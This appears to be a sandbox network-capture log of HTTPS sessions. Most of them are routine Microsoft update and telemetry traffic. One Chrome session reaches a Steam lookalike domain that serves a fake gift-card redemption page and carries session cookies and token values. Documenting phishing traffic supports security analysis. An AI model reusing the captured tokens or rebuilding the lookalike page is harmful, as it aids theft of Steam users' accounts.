3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:01 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: c530354f-501e-0016-5013-17181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064701Z-1657d5bbd482krtfgrg72dfbtn00000002s000000000e7zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	49761	104.21.91.169	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	1605	OUT	POST /721d7f512e080159550c070f035d0c00565a05561450220103430b5c55160272461145 HTTP/1.1 Host: sneamcomnnumnlty.com Connection: keep-alive Content-Length: 78 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg
2024-10-07 06:47:01 UTC	78	OUT	Data Raw: 70 61 74 68 6e 61 6d 65 3d 25 32 46 68 66 6a 66 37 34 38 39 33 34 39 32 34 25 32 46 67 65 74 69 6e 67 25 32 46 70 75 74 26 73 65 61 72 63 68 3d 26 68 6f 73 74 6e 61 6d 65 3d 73 6e 65 61 6d 63 6f 6d 6e 6e 75 6d 6e 6c 74 79 2e 63 6f 6d Data Ascii: pathname=%2Fhfjf748934924%2Fgeting%2Fput&search=&hostname=sneamcomnnumnlty.com
2024-10-07 06:47:01 UTC	967	IN	HTTP/1.1 201 Created Date: Mon, 07 Oct 2024 06:47:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5bAiplTSJLU0%2FpIu8fyJ44vMTgSNAkI0lUc92jo2xXV5V44PgcfGkrda2XwkpgW6S7BqnQXJ%2BtR9BRtTn11XZZ%2BUFiHxj05lT27tHGFrTf1fBgfQaJ1rxfjk3DsgDb72pWDK9I5TlA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cebeffadffa5e6e-EWR
2024-10-07 06:47:01 UTC	402	IN	Data Raw: 34 35 34 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 27 2f 37 32 31 64 37 66 35 31 32 65 30 38 30 31 35 38 35 64 30 32 30 34 34 30 2e 6a 73 27 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 74 72 69 67 67 65 72 73 20 3d 20 5b 22 61 22 2c 22 62 75 74 74 6f 6e 22 5d 3c 2f 73 63 72 69 70 74 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: 4544<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/721d7f512e0801585d020440.js'></script><script>window.triggers = ["a","button"]</script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewp
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 73 74 65 61 6d 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 52 65 64 65 65 6d 20 61 20 53 74 65 61 6d 20 47 69 66 74 20 43 61 72 64 20 6f 72 20 57 61 6c 6c 65 74 20 43 6f 64 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 3e 3c 6d 65 74 61 20 70 72 6f 70 Data Ascii: "><meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><meta prop
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 61 63 63 6f 75 6e 74 2e 63 73 73 3f 76 3d 50 32 57 4c 49 38 42 36 64 64 4a 65 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 63 73 73 2f 76 36 2f 63 61 72 74 2e 63 73 73 3f 76 3d 75 32 46 49 61 69 65 74 58 36 61 46 26 61 6d 70 3b 6c 3d 65 6e 67 6c Data Ascii: et" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english" rel="stylesheet" type="text/css"><link href="https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=u2FIaietX6aF&l=engl
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 73 68 61 72 65 64 2f 6a 61 76 61 73 63 72 69 70 74 2f 73 68 61 72 65 64 5f 67 6c 6f 62 61 6c 2e 6a 73 3f 76 3d 51 35 74 74 2d 64 38 72 30 59 4c 75 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 6d 61 69 6e 2e 6a 73 3f 76 3d 39 30 7a 51 72 69 4e 54 4e 45 6e 4d 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 Data Ascii: cript" src="https://store.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=Q5tt-d8r0YLu&l=english"></script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/main.js?v=90zQriNTNEnM&l=engli
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 34 5d 20 7c 7c 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6f 6d 65 3b 0a 20 20 20 20 20 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 35 5d 20 7c 7c 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 62 69 6e 64 3b 0a 20 20 20 20 20 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 20 3d 20 5f 5f 50 72 6f 74 6f 74 79 70 65 50 72 65 73 65 72 76 65 5b 36 5d 20 7c 7c 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 63 72 6f 6c 6c 54 6f 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 Data Ascii: PrototypePreserve[4] \|\| Array.prototype.some; Function.prototype.bind = __PrototypePreserve[5] \|\| Function.prototype.bind; HTMLElement.prototype.scrollTo = __PrototypePreserve[6] \|\| HTMLElement.prototype.scrollTo; </script><script type="te
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 65 28 29 29 3b 0a 20 20 20 20 20 20 20 20 53 65 74 75 70 54 6f 6f 6c 74 69 70 73 28 7b 0a 20 20 20 20 20 20 20 20 20 20 74 6f 6f 6c 74 69 70 43 53 53 43 6c 61 73 73 3a 20 27 73 74 6f 72 65 5f 74 6f 6f 6c 74 69 70 27 0a 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 70 75 62 6c 69 63 2f 6a 61 76 61 73 63 72 69 70 74 2f 72 65 64 65 65 6d 77 61 6c 6c 65 74 63 6f 64 65 2e 6a 73 3f 76 3d 58 73 67 4f 44 71 55 4f 6c 56 77 39 26 61 6d 70 3b 6c 3d 65 6e 67 6c 69 73 68 22 3e 3c 2f 73 63 72 69 Data Ascii: e()); SetupTooltips({ tooltipCSSClass: 'store_tooltip' }); }); </script><script type="text/javascript" src="https://store.akamai.steamstatic.com/public/javascript/redeemwalletcode.js?v=XsgODqUOlVw9&l=english"></scri
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 5f 63 74 6e 20 6d 61 69 6e 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 20 69 64 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 6d 65 6e 75 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 6d 65 6e 75 5f 63 6f 6e 74 65 6e 74 73 5f 69 74 65 6d 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d Data Ascii: eader"> <div class="responsive_page_menu_ctn mainmenu"> <div class="responsive_page_menu" id="responsive_page_menu"> <div class="mainmenu_contents"> <div class="mainmenu_contents_items"> <a class="menuitem
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 44 69 73 63 75 73 73 69 6f 6e 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 57 6f 72 6b 73 68 6f 70 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 73 68 6f 77 41 75 74 68 57 69 6e 22 20 68 72 65 66 3d 22 23 22 3e 4d 61 72 6b 65 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 20 Data Ascii: <a class="submenuitem showAuthWin" href="#">Discussions</a> <a class="submenuitem showAuthWin" href="#">Workshop</a> <a class="submenuitem showAuthWin" href="#">Market</a> <a class="submenuitem
2024-10-07 06:47:01 UTC	1369	IN	Data Raw: 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 23 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 63 6c 61 73 73 3d 22 73 68 6f 77 41 75 74 68 57 69 6e 22 3e 52 65 66 75 6e 64 73 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 Data Ascii: arget="_blank" class="showAuthWin">Steam Subscriber Agreement</a>  \|  <a href="#" target="_blank" class="showAuthWin">Refunds</a> </span> </div> </div> </div> </div> <di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49765	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:01 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 06:47:02 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=208721 Date: Mon, 07 Oct 2024 06:47:01 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49764	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGSayHGUDHOmE56&MD=anWsg9DU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 06:47:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 58260cd4-e910-4a1b-bb98-bd3586ad24dd MS-RequestId: 108d59a8-c87d-41b6-a905-c0cdba710360 MS-CV: UqJgRQLgNkqQxpLi.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 06:47:01 GMT Connection: close Content-Length: 24490
2024-10-07 06:47:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-07 06:47:02 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064702Z-1657d5bbd48vhs7r2p1ky7cs5w000000039g00000000htmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:02 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:02 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:02 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:02 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: b8f8ddc8-601e-0001-115a-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064702Z-1657d5bbd48lknvp09v995n79000000002vg000000000k49 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:02 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" 